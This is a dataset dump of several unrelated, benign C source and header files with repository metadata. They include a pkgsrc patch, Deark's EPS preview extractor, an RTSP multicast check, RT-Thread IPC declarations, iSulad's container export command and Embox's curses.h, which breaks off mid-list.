PROGMEM const char *text_table2[] = {text2_0,text2_1,text2_2,text2_3,text2_4,text2_5,text2_6,text2_7,text2_8,text2_9,text2_10,text2_11,text2_12,text2_13,text2_14};
PROGMEM const char *text_table3[] = {text3_0,text3_1,text3_2,text3_3,text3_4,text3_5};
PROGMEM const char *text_table4[] = {text4_0,text4_1,text4_2,text4_3,text4_4,text4_5,text4_6,text4_7,text1_54,text4_9,text4_10,text4_11,text4_12,text4_13,text4_14,text4_15,text4_16,text4_17,text4_18,text4_19,text4_20,text4_21,text4_22,text4_23,text4_24,text4_25,text4_26,text4_27,text4_28,text4_29,text4_30,text4_31,text4_32,text4_33,text4_34,text4_35,text4_36,text4_37,text4_38,text4_39,text4_40,text4_41,text4_42,text4_43,text4_44,text4_45,text4_46,text4_47, text4_48};
#endif
|
6e98762f2f7e5a0290398b91ebb423a2ebd0be87
|
f79dec3c4033ca3cbb55d8a51a748cc7b8b6fbab
|
/mail/thunderbird24/patches/patch-mozilla_netwerk_sctp_src_user__recv__thread.c
|
3a2e4a82e98a7f91504ee369d462ace288c0324b
|
[] |
no_license
|
jsonn/pkgsrc
|
fb34c4a6a2d350e8e415f3c4955d4989fcd86881
|
c1514b5f4a3726d90e30aa16b0c209adbc276d17
|
refs/heads/trunk
| 2021-01-24T09:10:01.038867
| 2017-07-07T15:49:43
| 2017-07-07T15:49:43
| 2,095,004
| 106
| 47
| null | 2016-09-19T09:26:01
| 2011-07-23T23:49:04
|
Makefile
|
UTF-8
|
C
| false
| false
| 490
|
c
|
patch-mozilla_netwerk_sctp_src_user__recv__thread.c
|
$NetBSD: patch-mozilla_netwerk_sctp_src_user__recv__thread.c,v 1.1 2014/07/27 05:36:07 ryoon Exp $
--- mozilla/netwerk/sctp/src/user_recv_thread.c.orig 2013-10-23 22:09:15.000000000 +0000
+++ mozilla/netwerk/sctp/src/user_recv_thread.c
@@ -35,7 +35,7 @@
#include <netinet/in.h>
#include <unistd.h>
#include <pthread.h>
-#if !defined(__Userspace_os_FreeBSD)
+#if !defined(__Userspace_os_FreeBSD) && !defined(__Userspace_os_NetBSD)
#include <sys/uio.h>
#else
#include <user_ip6_var.h>
|
8753890f49c6698fa8a7f812ee72c7a269d57d5a
|
64dca62dd18660e93f14b5f173df16b8ef9ab80e
|
/modules/eps.c
|
b0a6c8a63dd2b375d1edd669b867f431f439e8ba
|
[
"MIT"
] |
permissive
|
jsummers/deark
|
44086f9772a6e8a5ab70b3ed00c55dedf1f9637d
|
0ef4d1a13b6658206135cda3f07fd062d296911d
|
refs/heads/master
| 2023-09-03T16:53:22.581091
| 2023-08-28T15:49:31
| 2023-08-28T15:49:54
| 18,972,953
| 139
| 17
|
NOASSERTION
| 2023-07-18T14:03:53
| 2014-04-20T20:14:04
|
C
|
UTF-8
|
C
| false
| false
| 5,203
|
c
|
eps.c
|
// This file is part of Deark.
// Copyright (C) 2016 Jason Summers
// See the file COPYING for terms of use.
// Encapsulated PostScript
#include <deark-config.h>
#include <deark-private.h>
DE_DECLARE_MODULE(de_module_eps);
typedef struct localctx_struct {
i64 npwidth, h;
i64 pdwidth;
i64 depth;
i64 src_rowspan;
i64 lines;
i64 hex_digit_count;
i64 xpos, ypos;
u8 pending_byte;
de_color pal[256];
} lctx;
static void de_run_eps_binary(deark *c)
{
i64 eps_offset, eps_len;
i64 wmf_offset, wmf_len;
i64 tiff_offset, tiff_len;
de_declare_fmt(c, "EPS binary");
eps_offset = de_getu32le(4);
eps_len = de_getu32le(8);
wmf_offset = de_getu32le(12);
wmf_len = de_getu32le(16);
tiff_offset = de_getu32le(20);
tiff_len = de_getu32le(24);
if(eps_len>0) {
de_dbg(c, "Extracting EPS offs=%d len=%d", (int)eps_offset, (int)eps_len);
dbuf_create_file_from_slice(c->infile, eps_offset, eps_len, "eps", NULL, 0);
}
if(wmf_len>0) {
de_dbg(c, "Extracting WMF offs=%d len=%d", (int)wmf_offset, (int)wmf_len);
dbuf_create_file_from_slice(c->infile, wmf_offset, wmf_len, "preview.wmf", NULL, DE_CREATEFLAG_IS_AUX);
}
if(tiff_len>0) {
de_dbg(c, "Extracting TIFF offs=%d len=%d", (int)tiff_offset, (int)tiff_len);
dbuf_create_file_from_slice(c->infile, tiff_offset, tiff_len, "preview.tif", NULL, DE_CREATEFLAG_IS_AUX);
}
}
static void process_hex_digit(deark *c, lctx *d, u8 hexdigit, dbuf *outf)
{
u8 x;
int errorflag;
x = de_decode_hex_digit(hexdigit, &errorflag);
if(errorflag) return; // Ignore non hex-digits
if(d->hex_digit_count%2 == 0) {
d->pending_byte = x;
d->hex_digit_count++;
// Wait for the next hex digit
return;
}
dbuf_writebyte(outf, (d->pending_byte<<4) | x);
d->hex_digit_count++;
return;
}
static void do_decode_epsi_image(deark *c, lctx *d, i64 pos1)
{
de_bitmap *img = NULL;
dbuf *tmpf = NULL;
i64 content_len, total_len;
i64 pos;
i64 i, k;
UI createflags;
pos = pos1;
d->hex_digit_count = 0;
tmpf = dbuf_create_membuf(c, d->pdwidth * d->h, 0);
// Convert from hex-encoded (base16) to binary.
for(i=0; i<d->lines; i++) {
if(!dbuf_find_line(c->infile, pos, &content_len, &total_len))
break;
for(k=0; k<content_len; k++) {
process_hex_digit(c, d, de_getbyte(pos+k), tmpf);
}
pos += total_len;
}
// Convert from binary to an image
img = de_bitmap_create2(c, d->npwidth, d->pdwidth, d->h, 1);
de_make_grayscale_palette(d->pal, 1ULL<<d->depth, 0x1);
de_convert_image_paletted(tmpf, 0, d->depth, d->src_rowspan, d->pal, img, 0);
createflags = DE_CREATEFLAG_IS_AUX;
if(d->depth==1) {
createflags = DE_CREATEFLAG_IS_BWIMG;
}
else {
createflags = DE_CREATEFLAG_OPT_IMAGE;
}
de_bitmap_write_to_file(img, "preview", createflags);
de_bitmap_destroy(img);
dbuf_close(tmpf);
}
static void do_decode_epsi(deark *c, const char *hdrfields, i64 pos1)
{
int width, height, depth, lines;
int ret;
lctx *d = NULL;
d = de_malloc(c, sizeof(lctx));
// EPSI is a text-based format, and deark isn't very good at text formats.
// But we'll give it a try.
ret = de_sscanf(hdrfields, " %d %d %d %d", &width, &height, &depth, &lines);
if(ret!=4) {
de_err(c, "Failed to parse EPSI header line");
return;
}
de_dbg(c, "w=%d h=%d d=%d l=%d", width, height, depth, lines);
d->npwidth = width;
d->h = height;
d->depth = depth;
d->lines = lines;
if(d->depth!=1 && d->depth!=2 && d->depth!=4 && d->depth!=8) {
de_err(c, "Unsupported EPSI bit depth (%d)", (int)d->depth);
goto done;
}
d->src_rowspan = (d->npwidth * d->depth +7)/8;
d->pdwidth = (d->src_rowspan*8) / d->depth;
if(!de_good_image_dimensions(c, d->pdwidth, d->h)) {
goto done;
}
if(d->lines>100000 || d->lines<1) {
de_err(c, "Bad EPSI header");
goto done;
}
do_decode_epsi_image(c, d, pos1);
done:
de_free(c, d);
}
static void de_run_eps_normal(deark *c)
{
i64 pos;
u8 linebuf[1024];
i64 content_len, total_len;
de_declare_fmt(c, "Encapsulated PostScript");
pos = 0;
while(dbuf_find_line(c->infile, pos, &content_len, &total_len)) {
de_dbg2(c, "line: pos=%d c_len=%d t_len=%d", (int)pos, (int)content_len, (int)total_len);
if(content_len > (i64)(sizeof(linebuf)-1))
content_len = sizeof(linebuf)-1;
de_read(linebuf, pos, content_len);
linebuf[content_len] = '\0';
if(!de_memcmp(linebuf, "%%BeginPreview:", 15)) {
do_decode_epsi(c, (const char*)(linebuf+15), pos+total_len);
break;
}
pos += total_len;
}
}
static void de_run_eps(deark *c, de_module_params *mparams)
{
u8 b[2];
de_read(b, 0, (i64)sizeof(b));
if(b[0]==0xc5 && b[1]==0xd0) {
de_run_eps_binary(c);
}
else if(b[0]=='%' && b[1]=='!') {
de_run_eps_normal(c);
}
else {
de_err(c, "Not an EPS file");
}
}
static int de_identify_eps(deark *c)
{
u8 b[20];
de_read(b, 0, (i64)sizeof(b));
if(b[0]==0xc5 && b[1]==0xd0 && b[2]==0xd3 && b[3]==0xc6)
return 100;
if(!de_memcmp(b, "%!PS-Adobe-", 11) &&
!de_memcmp(&b[14], " EPSF-", 6) )
{
return 100;
}
return 0;
}
void de_module_eps(deark *c, struct deark_module_info *mi)
{
mi->id = "eps";
mi->desc = "Encapsulated PostScript";
mi->desc2 = "extract preview image";
mi->run_fn = de_run_eps;
mi->identify_fn = de_identify_eps;
}
|
9e75b414fcce70cfdd122e86b0bfe89abbeb41b4
|
736e760612f2b431c4b2524fe1a4a8e4083c72a1
|
/librtsp/source/rtsp-multicast.c
|
29f6ab82e002ab9968ff17f5d8b0b59acc51f7f2
|
[
"MIT"
] |
permissive
|
ireader/media-server
|
7f86da8ff0c8694876a2043d50a1260f315dad8a
|
3d8647f50fe832856f42b03d1e5b0fe2eafe5796
|
refs/heads/master
| 2023-09-03T17:53:13.722595
| 2023-09-02T03:38:19
| 2023-09-02T03:38:19
| 15,598,496
| 2,785
| 1,015
|
MIT
| 2023-08-30T03:45:24
| 2014-01-03T01:43:35
|
C
|
UTF-8
|
C
| false
| false
| 1,144
|
c
|
rtsp-multicast.c
|
#if defined(OS_WINDOWS)
#include <Winsock2.h>
#include <WS2tcpip.h>
#include <ws2ipdef.h>
#else
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <unistd.h>
#endif
#include <assert.h>
#include <stdio.h>
/// @return 1-multicast address, 0-don't multicast address
int rtsp_addr_is_multicast(const char* ip)
{
int r;
struct addrinfo *ai;
r = getaddrinfo(ip, 0, NULL, &ai);
if (0 != r)
return 0;
if (AF_INET == ai->ai_addr->sa_family)
{
const struct sockaddr_in* in = (const struct sockaddr_in*)ai->ai_addr;
assert(sizeof(struct sockaddr_in) == ai->ai_addrlen);
r = (ntohl(in->sin_addr.s_addr) & 0xf0000000) == 0xe0000000 ? 1 : 0;
}
else if (AF_INET6 == ai->ai_addr->sa_family)
{
const struct sockaddr_in6* in6 = (const struct sockaddr_in6*)ai->ai_addr;
assert(sizeof(struct sockaddr_in6) == ai->ai_addrlen);
r = in6->sin6_addr.s6_addr[0] == 0xff ? 1 : 0;
}
else
{
assert(0);
r = 0;
}
freeaddrinfo(ai);
return r;
}
|
519010dcf96cd3abf4b6c138904285172002e6b8
|
99bdb3251fecee538e0630f15f6574054dfc1468
|
/components/lwp/lwp_ipc_internal.h
|
1efa7a1c0284fd489a2540a244937063680b81d3
|
[
"Apache-2.0"
] |
permissive
|
RT-Thread/rt-thread
|
03a7c52c2aeb1b06a544143b0e803d72f47d1ece
|
3602f891211904a27dcbd51e5ba72fefce7326b2
|
refs/heads/master
| 2023-09-01T04:10:20.295801
| 2023-08-31T16:20:55
| 2023-08-31T16:20:55
| 7,408,108
| 9,599
| 5,805
|
Apache-2.0
| 2023-09-14T13:37:26
| 2013-01-02T14:49:21
|
C
|
UTF-8
|
C
| false
| false
| 963
|
h
|
lwp_ipc_internal.h
|
/*
* Copyright (c) 2006-2020, RT-Thread Development Team
*
* SPDX-License-Identifier: Apache-2.0
*
* Change Logs:
* Date Author Notes
* 2019-10-16 Jesven first version
*/
#ifndef LWP_IPC_INTERNAL_H__
#define LWP_IPC_INTERNAL_H__
#include <rthw.h>
#include <rtthread.h>
#include <lwp.h>
#ifdef __cplusplus
extern "C" {
#endif
enum
{
FDT_TYPE_LWP,
FDT_TYPE_KERNEL
};
int lwp_channel_open(int fdt_type, const char *name, int flags);
rt_err_t lwp_channel_close(int fdt_type, int fd);
rt_err_t lwp_channel_send(int fdt_type, int fd, rt_channel_msg_t data);
rt_err_t lwp_channel_send_recv_timeout(int fdt_type, int fd, rt_channel_msg_t data, rt_channel_msg_t data_ret, rt_int32_t time);
rt_err_t lwp_channel_reply(int fdt_type, int fd, rt_channel_msg_t data);
rt_err_t lwp_channel_recv_timeout(int fdt_type, int fd, rt_channel_msg_t data, rt_int32_t time);
#ifdef __cplusplus
}
#endif
#endif /* LWP_IPC_INTERNAL_H__*/
|
16ca6f811993e02f963accf4ba23553d9a1bbe50
|
dd6bdce2131e1f608ae711be1426765c9db44122
|
/src/cmd/isula/extend/export.c
|
68d17c820b3d886bcf97500e3746220454bf1968
|
[] |
no_license
|
openeuler-mirror/iSulad
|
df3b7bdd285e3ed0e2b572ec02c3cef8a80fa8a9
|
1faaae7ee243bc8b9484ede632302a3cd4bc8670
|
refs/heads/master
| 2023-09-01T04:07:42.243619
| 2023-08-26T01:28:08
| 2023-08-26T01:28:08
| 246,005,159
| 350
| 25
| null | null | null | null |
UTF-8
|
C
| false
| false
| 4,342
|
c
|
export.c
|
/******************************************************************************
* Copyright (c) Huawei Technologies Co., Ltd. 2019. All rights reserved.
* iSulad licensed under the Mulan PSL v2.
* You can use this software according to the terms and conditions of the Mulan PSL v2.
* You may obtain a copy of Mulan PSL v2 at:
* http://license.coscl.org.cn/MulanPSL2
* THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR
* PURPOSE.
* See the Mulan PSL v2 for more details.
* Author: wangfengtu
* Create: 2019-04-04
* Description: provide container export functions
******************************************************************************/
#include "export.h"
#include <limits.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "utils.h"
#include "client_arguments.h"
#include "isula_libutils/log.h"
#include "isula_connect.h"
#include "connect.h"
const char g_cmd_export_desc[] = "export container";
const char g_cmd_export_usage[] = "export [OPTIONS] [ID|NAME]";
struct client_arguments g_cmd_export_args = {};
/*
* Create a export request message and call RPC
*/
static int client_export(const struct client_arguments *args)
{
int ret = 0;
isula_connect_ops *ops = NULL;
struct isula_export_request request;
struct isula_export_response *response = NULL;
client_connect_config_t config = { 0 };
(void)memset(&request, 0, sizeof(request));
response = util_common_calloc_s(sizeof(struct isula_export_response));
if (response == NULL) {
ERROR("Resume: Out of memory");
return -1;
}
request.name = args->name;
request.file = args->file;
ops = get_connect_client_ops();
if (ops == NULL || !ops->container.export_rootfs) {
ERROR("Unimplemented export op");
ret = -1;
goto out;
}
config = get_connect_config(args);
ret = ops->container.export_rootfs(&request, response, &config);
if (ret != 0) {
client_print_error(response->cc, response->server_errono, response->errmsg);
}
out:
isula_export_response_free(response);
return ret;
}
int cmd_export_main(int argc, const char **argv)
{
int i = 0;
char file[PATH_MAX] = { 0 };
struct isula_libutils_log_config lconf = { 0 };
isula_libutils_default_log_config(argv[0], &lconf);
command_t cmd;
if (client_arguments_init(&g_cmd_export_args)) {
COMMAND_ERROR("client arguments init failed");
exit(ECOMMON);
}
g_cmd_export_args.progname = argv[0];
struct command_option options[] = { LOG_OPTIONS(lconf) COMMON_OPTIONS(g_cmd_export_args)
EXPORT_OPTIONS(g_cmd_export_args)
};
command_init(&cmd, options, sizeof(options) / sizeof(options[0]), argc, (const char **)argv, g_cmd_export_desc,
g_cmd_export_usage);
if (command_parse_args(&cmd, &g_cmd_export_args.argc, &g_cmd_export_args.argv)) {
exit(EINVALIDARGS);
}
if (isula_libutils_log_enable(&lconf)) {
COMMAND_ERROR("log init failed");
exit(ECOMMON);
}
if (g_cmd_export_args.argc != 1) {
COMMAND_ERROR("Export requires exactly 1 container name");
exit(EINVALIDARGS);
}
if (g_cmd_export_args.file == NULL) {
COMMAND_ERROR("Missing output file, use -o,--output option");
exit(EINVALIDARGS);
}
/* If it's not a absolute path, add cwd to be absolute path */
if (g_cmd_export_args.file[0] != '/') {
int sret;
char cwd[PATH_MAX] = { 0 };
if (!getcwd(cwd, sizeof(cwd))) {
COMMAND_ERROR("get cwd failed:%s", strerror(errno));
exit(ECOMMON);
}
sret = snprintf(file, sizeof(file), "%s/%s", cwd, g_cmd_export_args.file);
if (sret < 0 || (size_t)sret >= sizeof(file)) {
COMMAND_ERROR("filename too long");
exit(EINVALIDARGS);
}
g_cmd_export_args.file = file;
}
g_cmd_export_args.name = g_cmd_export_args.argv[i];
if (client_export(&g_cmd_export_args)) {
COMMAND_ERROR("Container \"%s\" export failed", g_cmd_export_args.name);
exit(ECOMMON);
}
exit(EXIT_SUCCESS);
}
|
b193b2652379a3a388a06e3ccc0068e92a577a53
|
ce32e0e1b9568c710a3168abc3c638d6f9f6c31b
|
/vnpy/api/da/include/da/DADataType.h
|
edb70579ae5c4ec1773fc03c78ec354a4f15020c
|
[
"MIT"
] |
permissive
|
msincenselee/vnpy
|
55ae76ca32cae47369a66bd2d6589c13d7a0bdd4
|
7f4fd3cd202712b083ed7dc2f346ba4bb1bda6d7
|
refs/heads/vnpy2
| 2022-05-19T10:06:55.504408
| 2022-03-19T15:26:01
| 2022-03-19T15:26:01
| 38,525,806
| 359
| 158
|
MIT
| 2020-09-09T00:09:12
| 2015-07-04T07:27:46
|
C++
|
GB18030
|
C
| false
| false
| 2,000
|
h
|
DADataType.h
|
/////////////////////////////////////////////////////////////////////////
/// DriectAccess Trade Engine
/// Copyright (C) Shanghai DirectAccess Technology Co., Ltd.
/// Last Modify 2019/3/18
/// Define DataType For API
/// Author (c) Wang Jian Quan (Franklin)
/////////////////////////////////////////////////////////////////////////
#pragma once
#define DA_STR_SIZE 256
#define MAX_BROKER 4096
#define DAAPI_VERSION "1.12"
#ifdef _WIN32
#define OS_NAME "Windows"
#else
#define OS_NAME "Linux"
#endif
#ifdef _WIN32
#ifdef LIB_DA_API_EXPORT
#define DA_API_EXPORT __declspec(dllexport)
#else
#define DA_API_EXPORT __declspec(dllimport)
#endif
#else
#define DA_API_EXPORT
#endif
typedef char TDACharType;
typedef char TDAStringType[DA_STR_SIZE];
typedef char TDABrokerType[MAX_BROKER];
typedef int TDAIntType;
typedef int TDAVolumeType;
typedef double TDADoubleType;
typedef double TDAPriceType;
typedef double TDAMoneyType;
/// 单次最大订阅退订数
#define MAX_SUB_COUNT 20
/////////////////////////////////////////////////////////////////////////
/// 订阅行情种类
/////////////////////////////////////////////////////////////////////////
/// 股票
#define DAF_TYPE_Stock 'S'
/// 期货
#define DAF_TYPE_Future 'D'
/// 未知
#define DAF_TYPE_Unknown 0
/////////////////////////////////////////////////////////////////////////
/// 订阅类型
/////////////////////////////////////////////////////////////////////////
/// 追加订阅
#define DAF_SUB_Append '1'
/// 替换订阅
#define DAF_SUB_Replace '2'
/// 退订
#define DAF_SUB_Unsubcribe '3'
/// 退订所有
#define DAF_SUB_UnsubcribeAll '4'
/////////////////////////////////////////////////////////////////////////
/// 行情数据类型
/////////////////////////////////////////////////////////////////////////
/// 完整行情数据
#define DAF_Market_Full 'Z'
/// 成交行情数据
#define DAF_Market_Fill 'Y'
|
f7274fee811dbce2e6c50fb11534e3d82e72c616
|
612f1fdad8a9d15bcad4266e903b2968ada8b4c5
|
/src/System.Windows.Forms/tests/IntegrationTests/NativeHost/pch.h
|
0b1de2cde39305ead31c696f5795ab5408a30978
|
[
"MIT"
] |
permissive
|
dotnet/winforms
|
aee07e1e1a1be16418549e5e6c091800f1f80022
|
fc19fd245529adf2679d4f1765c98b3d1a7360a9
|
refs/heads/main
| 2023-08-30T20:50:35.034726
| 2023-08-30T12:27:41
| 2023-08-30T12:27:41
| 153,711,830
| 4,220
| 1,264
|
MIT
| 2023-09-14T15:56:25
| 2018-10-19T01:54:02
|
C#
|
UTF-8
|
C
| false
| false
| 813
|
h
|
pch.h
|
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <sdkddkver.h>
#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // some CString constructors will be explicit
#define _AFX_NO_MFC_CONTROLS_IN_DIALOGS // remove support for MFC controls in dialogs
#define VC_EXTRALEAN // Exclude rarely-used stuff from Windows headers
#include <afx.h>
#include <afxwin.h>
#include <afxdtctl.h>
#include <MsHTML.h>
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
|
02a3cc1b8d2380735bead3951aa682dacc821a46
|
e65a4dbfbfb0e54e59787ba7741efee12f7687f3
|
/deskutils/xcalendar/files/patch-xcalendar.h
|
65c4e614757e27c7da3e722f702eb62b3f87d059
|
[
"BSD-2-Clause"
] |
permissive
|
freebsd/freebsd-ports
|
86f2e89d43913412c4f6b2be3e255bc0945eac12
|
605a2983f245ac63f5420e023e7dce56898ad801
|
refs/heads/main
| 2023-08-30T21:46:28.720924
| 2023-08-30T19:33:44
| 2023-08-30T19:33:44
| 1,803,961
| 916
| 918
|
NOASSERTION
| 2023-09-08T04:06:26
| 2011-05-26T11:15:35
| null |
UTF-8
|
C
| false
| false
| 355
|
h
|
patch-xcalendar.h
|
--- xcalendar.h.orig 1995-09-30 20:21:42.000000000 -0700
+++ xcalendar.h 2023-04-30 21:02:14.402254000 -0700
@@ -75,7 +75,7 @@
#include <X11/Xaw/Xawi18n.h>
#endif
-#if defined(SYSV) || defined(__osf__) || defined(SVR4)
+#if defined(SYSV) || defined(__osf__) || defined(SVR4) || defined(HAVE_DIRENT_H)
#include <dirent.h>
#else
#include <sys/dir.h>
|
8473d3dc6d661fe02e2e3093745b8f90e97828e2
|
8838eb997879add5759b6dfb23f9a646464e53ca
|
/src/compat/posix/include/curses.h
|
6718a5b1e283a0b44f44ecf827eff15f0faf4b6d
|
[
"BSD-2-Clause"
] |
permissive
|
embox/embox
|
d6aacec876978522f01cdc4b8de37a668c6f4c80
|
98e3c06e33f3fdac10a29c069c20775568e0a6d1
|
refs/heads/master
| 2023-09-04T03:02:20.165042
| 2023-09-02T14:55:31
| 2023-09-02T14:55:31
| 33,078,138
| 1,087
| 325
|
BSD-2-Clause
| 2023-09-14T16:58:34
| 2015-03-29T15:27:48
|
C
|
UTF-8
|
C
| false
| false
| 9,913
|
h
|
curses.h
|
/**
* @file
* @brief https://pubs.opengroup.org/onlinepubs/7908799/xcurses/curses.h.html
*
* @date 26.02.13
* @author Ilia Vaprol
*/
#ifndef CURSES_H_
#define CURSES_H_
#include <stdio.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#undef TRUE
#define TRUE true
#undef FALSE
#define FALSE false
#undef OK
#define OK 0
#undef ERR
#define ERR -1
typedef char chtype;
typedef uint32_t attr_t;
typedef uint16_t curs_size_t;
struct line;
typedef struct window {
struct window *parent;
struct line *lines;
curs_size_t maxy, maxx; /* max cursor position */
curs_size_t begy, begx; /* left upper window corner */
curs_size_t cury, curx; /* current cursor position */
uint16_t flags;
attr_t attrs;
chtype bkgd; /* background color */
bool scrollok; /* may scroll */
bool clearok; /* clear screen on next refresh */
} WINDOW;
#ifdef CURSES_PRIV_H_
#undef SCREEN
#define SCREEN struct screen
SCREEN;
#else
typedef struct screen SCREEN;
#endif /* CURSES_PRIV_H_ */
extern int COLS;
extern int LINES;
extern WINDOW *curscr;
extern WINDOW *stdscr;
extern int addch(chtype ch);
extern int waddch(WINDOW *win, chtype ch);
extern int mvaddch(int y, int x, chtype ch);
extern int mvwaddch(WINDOW *win, int y, int x, chtype ch);
extern int addstr(const char *str);
extern int addnstr(const char *str, int n);
extern int waddstr(WINDOW *win, const char *str);
extern int waddnstr(WINDOW *win, const char *str, int n);
extern int mvaddstr(int y, int x, const char *str);
extern int mvaddnstr(int y, int x, const char *str, int n);
extern int mvwaddstr(WINDOW *win, int y, int x, const char *str);
extern int mvwaddnstr(WINDOW *win, int y, int x, const char *str, int n);
extern int attroff(int attrs);
extern int wattroff(WINDOW *win, int attrs);
extern int attron(int attrs);
extern int wattron(WINDOW *win, int attrs);
extern int attrset(int attrs);
extern int wattrset(WINDOW *win, int attrs);
extern int beep(void);
extern int flash(void);
extern int bkgd(chtype ch);
extern void bkgdset(chtype ch);
extern void wbkgdset(WINDOW *win, chtype ch);
extern int wbkgd(WINDOW *win, chtype ch);
extern int erase(void);
extern int werase(WINDOW *win);
extern int clear(void);
extern int wclear(WINDOW *win);
extern int delch(void);
extern int wdelch(WINDOW *win);
extern int mvdelch(int y, int x);
extern int mvwdelch(WINDOW *win, int y, int x);
extern int getch(void);
extern int wgetch(WINDOW *win);
extern int mvgetch(int y, int x);
extern int mvwgetch(WINDOW *win, int y, int x);
extern int ungetch(int ch);
extern WINDOW *initscr(void);
extern int endwin(void);
extern bool isendwin(void);
extern SCREEN *newterm(char *type, FILE *outfd, FILE *infd);
extern void delscreen(SCREEN *screen);
extern int cbreak(void);
extern int nocbreak(void);
extern int echo(void);
extern int noecho(void);
extern int keypad(WINDOW *win, bool bf);
extern int nodelay(WINDOW *win, bool bf);
extern int raw(void);
extern int noraw(void);
extern int insch(chtype ch);
extern int winsch(WINDOW *win, chtype ch);
extern int mvinsch(int y, int x, chtype ch);
extern int mvwinsch(WINDOW *win, int y, int x, chtype ch);
extern int def_prog_mode(void);
extern int def_shell_mode(void);
extern int reset_prog_mode(void);
extern int reset_shell_mode(void);
extern int curs_set(int visibility);
extern int napms(int ms);
extern int move(int y, int x);
extern int wmove(WINDOW *win, int y, int x);
extern int mvcur(int oldrow, int oldcol, int newrow, int newcol);
extern int cbreak(void);
extern int clearok(WINDOW *win, bool bf);
extern int leaveok(WINDOW *win, bool bf);
extern int scrollok(WINDOW *win, bool bf);
extern int nl(void);
extern int nonl(void);
extern int mvwprintw(WINDOW *win, int y, int x, char *fmt, ...);
extern int refresh(void);
extern int wrefresh(WINDOW *win);
extern int wnoutrefresh(WINDOW *win);
extern int doupdate(void);
extern int wredrawln(WINDOW *win, int beg_line, int num_lines);
extern int scroll(WINDOW *win);
extern int scrl(int n);
extern int wscrl(WINDOW *win, int n);
extern bool is_wintouched(WINDOW *win);
extern WINDOW *newwin(int nlines, int ncols, int begy, int begx);
extern int delwin(WINDOW *win);
extern WINDOW *subwin(WINDOW *orig, int nlines, int ncols, int begy, int begx);
extern WINDOW *derwin(WINDOW *orig, int nlines, int ncols, int begy, int begx);
#define KEY_DOWN 0402 /* down-arrow key */
#define KEY_UP 0403 /* up-arrow key */
#define KEY_LEFT 0404 /* left-arrow key */
#define KEY_RIGHT 0405 /* right-arrow key */
#define KEY_HOME 0406 /* home key */
#define KEY_BACKSPACE 0407 /* backspace key */
#define KEY_F0 0410 /* Function keys. Space for 64 */
#define KEY_F(n) (KEY_F0 + (n)) /* Value of function key n */
#define KEY_DL 0510 /* delete-line key */
#define KEY_IL 0511 /* insert-line key */
#define KEY_DC 0512 /* delete-character key */
#define KEY_IC 0513 /* insert-character key */
#define KEY_EIC 0514 /* sent by rmir or smir in insert mode */
#define KEY_CLEAR 0515 /* clear-screen or erase key */
#define KEY_EOS 0516 /* clear-to-end-of-screen key */
#define KEY_EOL 0517 /* clear-to-end-of-line key */
#define KEY_SF 0520 /* scroll-forward key */
#define KEY_SR 0521 /* scroll-backward key */
#define KEY_NPAGE 0522 /* next-page key */
#define KEY_PPAGE 0523 /* previous-page key */
#define KEY_STAB 0524 /* set-tab key */
#define KEY_CTAB 0525 /* clear-tab key */
#define KEY_CATAB 0526 /* clear-all-tabs key */
#define KEY_ENTER 0527 /* enter/send key */
#define KEY_PRINT 0532 /* print key */
#define KEY_LL 0533 /* lower-left key (home down) */
#define KEY_A1 0534 /* upper left of keypad */
#define KEY_A3 0535 /* upper right of keypad */
#define KEY_B2 0536 /* center of keypad */
#define KEY_C1 0537 /* lower left of keypad */
#define KEY_C3 0540 /* lower right of keypad */
#define KEY_BTAB 0541 /* back-tab key */
#define KEY_BEG 0542 /* begin key */
#define KEY_CANCEL 0543 /* cancel key */
#define KEY_CLOSE 0544 /* close key */
#define KEY_COMMAND 0545 /* command key */
#define KEY_COPY 0546 /* copy key */
#define KEY_CREATE 0547 /* create key */
#define KEY_END 0550 /* end key */
#define KEY_EXIT 0551 /* exit key */
#define KEY_FIND 0552 /* find key */
#define KEY_HELP 0553 /* help key */
#define KEY_MARK 0554 /* mark key */
#define KEY_MESSAGE 0555 /* message key */
#define KEY_MOVE 0556 /* move key */
#define KEY_NEXT 0557 /* next key */
#define KEY_OPEN 0560 /* open key */
#define KEY_OPTIONS 0561 /* options key */
#define KEY_PREVIOUS 0562 /* previous key */
#define KEY_REDO 0563 /* redo key */
#define KEY_REFERENCE 0564 /* reference key */
#define KEY_REFRESH 0565 /* refresh key */
#define KEY_REPLACE 0566 /* replace key */
#define KEY_RESTART 0567 /* restart key */
#define KEY_RESUME 0570 /* resume key */
#define KEY_SAVE 0571 /* save key */
#define KEY_SBEG 0572 /* shifted begin key */
#define KEY_SCANCEL 0573 /* shifted cancel key */
#define KEY_SCOMMAND 0574 /* shifted command key */
#define KEY_SCOPY 0575 /* shifted copy key */
#define KEY_SCREATE 0576 /* shifted create key */
#define KEY_SDC 0577 /* shifted delete-character key */
#define KEY_SDL 0600 /* shifted delete-line key */
#define KEY_SELECT 0601 /* select key */
#define KEY_SEND 0602 /* shifted end key */
#define KEY_SEOL 0603 /* shifted clear-to-end-of-line key */
#define KEY_SEXIT 0604 /* shifted exit key */
#define KEY_SFIND 0605 /* shifted find key */
#define KEY_SHELP 0606 /* shifted help key */
#define KEY_SHOME 0607 /* shifted home key */
#define KEY_SIC 0610 /* shifted insert-character key */
#define KEY_SLEFT 0611 /* shifted left-arrow key */
#define KEY_SMESSAGE 0612 /* shifted message key */
#define KEY_SMOVE 0613 /* shifted move key */
#define KEY_SNEXT 0614 /* shifted next key */
#define KEY_SOPTIONS 0615 /* shifted options key */
#define KEY_SPREVIOUS 0616 /* shifted previous key */
#define KEY_SPRINT 0617 /* shifted print key */
#define KEY_SREDO 0620 /* shifted redo key */
